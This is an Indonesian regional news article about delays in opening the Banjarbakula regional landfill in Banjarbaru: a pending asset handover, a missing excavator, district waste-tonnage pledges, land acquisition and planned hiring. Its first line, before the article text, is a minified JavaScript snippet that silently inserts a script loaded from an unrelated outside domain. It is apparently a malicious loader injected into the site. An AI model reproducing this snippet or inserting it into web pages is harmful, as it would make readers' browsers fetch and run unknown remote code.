(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Akhir tahun jelang pengoperasian TPA Regional Banjarbakula pada Januari 2019 tinggal menghitung hari. Namun hingga kini Dinas Lingkungan Hidup (DLH) Provinsi Kalimantan Selatan masih was-was jelang pengoperasian. Pasalnya, meski bangunan TPA sudah dalam tahapan finishing, ternyata kelengkapan TPA Regional Banjarbakula masih belum siap.
Saat ini DLH Provinsi Kalsel masih menunggu penyerahan aset dari pemerintah pusat yaitu dari Dirjen Cipta Karya Kementerian PUPR RI kepada Pemerintah Provinsi Kalimantan Selatan.
Selain itu, meski sudah diserahkan menjadi aset Pemprov Kalsel masih menunggu pengadaan alat berat berupa excavator oleh Kementerian PUPR RI untuk operasional TPA.
“Mereka sudah berkomitmen, ya kita tunggu saja, tapi kalau tidak ada excavator, TPA masih tetap tidak bisa dibuka untuk menampung sampah dari kabupaten/kota,†jelas Sekretaris DLH Kalsel, Bijuri, Minggu (9/12). Tak mungkin pihaknya mengelola sampah dengan tangan secara manual sedangkan sampah yang masuk dari lima kabupaten/kota.
“Senin (10/12) kita akan ke Kementerian PUPR lagi untuk penandatanganan adendum bersama Kementerian dan kepala daerah lima kabupaten/kota,†ujarnya.
Ia berharap usai penandatanganan pihak Kementerian PUPR bisa segera memberikan alat berat untuk pengoperasian TPA.
Sementara itu, TPA masih dalam tahapan finishing berupa penyelesaian untuk pengoperasian. Alat berat yang ada merupakan alat berat milik kontraktor yang membangun TPA.
Tak hanya itu capaian sampah per hari juga masih menjadi kendala. Kementerian Lingkungan Hidup Kehutanan RI menargetkan ada sekitar 200 ton sampah per hari yang dikirimkan lima kabupaten/kota ke TPA Regional Banjarbakula. Namun daerah hanya mampu mengirimkan jauh dibawahnya.
Kota Banjarbaru misalnya, menyanggupi akan mengirim 50 ton per hari sampah dari Banjarbaru ke TPA Regional. Sementara kabupaten Banjar menyanggupi 35 ton. Banjarmasin menyanggupi 30 ton. Sedangkan Tanah Laut 10 ton, disusul Barito Kuala 5-7 ton.
Sementara itu, Kepala Dinas LH Provinsi Kalimantan Selatan Ikhlas Indar mengaku memahami kondisi daerah yang terkadang tidak mampu menyanggupi besaran ton sampah yang harus dikirimkan ke TPA regional karena terkendala armada dan lainnya.
“Kami mengerti saja kondisi daerah mereka ada yang harus mengantar jauh dan ada juga yang kekurangan armada kami tidak bisa memaksakan itu,†ujarnya. Terkait harga per ton telah disepakati sekitar Rp 65 ribu. Nominal itu sudah masuk dengan kompensasi yang diberikan oleh Pemprov Kalsel.
Pemprov Kalsel telah melakukan pembangunan fisik di lahan seluas 17 hektare. Pembangunan kembali dilanjutkan dengan pembebasan sisa lahan seluas 14 hektare dari total 31 hektare lokasi TPA Regional Banjarbakula di Kecamatan Cempaka, Kota Banjarbaru.
Sesuai Detail Engineering Design (DED) pembangunan TPA Regional Banjarbakula luas lahan yaitu 31 hektare. Oleh karena itu perluasan lahan terus dilakukan dengan melakukan tahap awal yaitu pembebasan lahan.
Bangunan fisik yang ada saat ini dilahan seluas 17 hektare tergolong sudah mencukupi. Namun pembangunan harus disesuaikan dengan DED dan pembangunan TPA juga perlu tambahan luas lahan untuk landfill dan lain-lain.
Sebelumnya lahan 17 hektare yang sudah dibangun oleh DLH Provinsi Kalimantan Selatan didapatkan dari pembebasan lahan yang diberikan oleh Pemko Banjarbaru yaitu 11 hektare. Sementara pembebasan lahan oleh Pemprov Kalsel yaitu enam hektare.
Bakal Rekrut 20 Orang Tenaga TPA
Selain menunggu didatangkannya alat berupa excavator, Pemprov Kalsel berencana juga akan melakukan perekrutan SDM untuk TPA. Sekretaris DLH Kalsel, Bijuri rencananya pihaknya melalui UPT TPA Regional Banjarbakula akan membuka lowongan sekitar 20 orang untuk jabatan operator excavator dan tenaga lainnya.
“Saat ini sudah ada SDMnya cuma masih belum cukup untuk operasional nanti jadi kita akan lakukan rekrutmen tambahan,†ujarnya.
Dengan adanya rekrutmen ujarnya akan semakin memantapkan pengoperasian TPA Regional Banjarbakula dan menunjukkan kesiapan Pemprov Kalsel dalam pengoperasian TPA Regional. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More
KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More
KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More
This website uses cookies.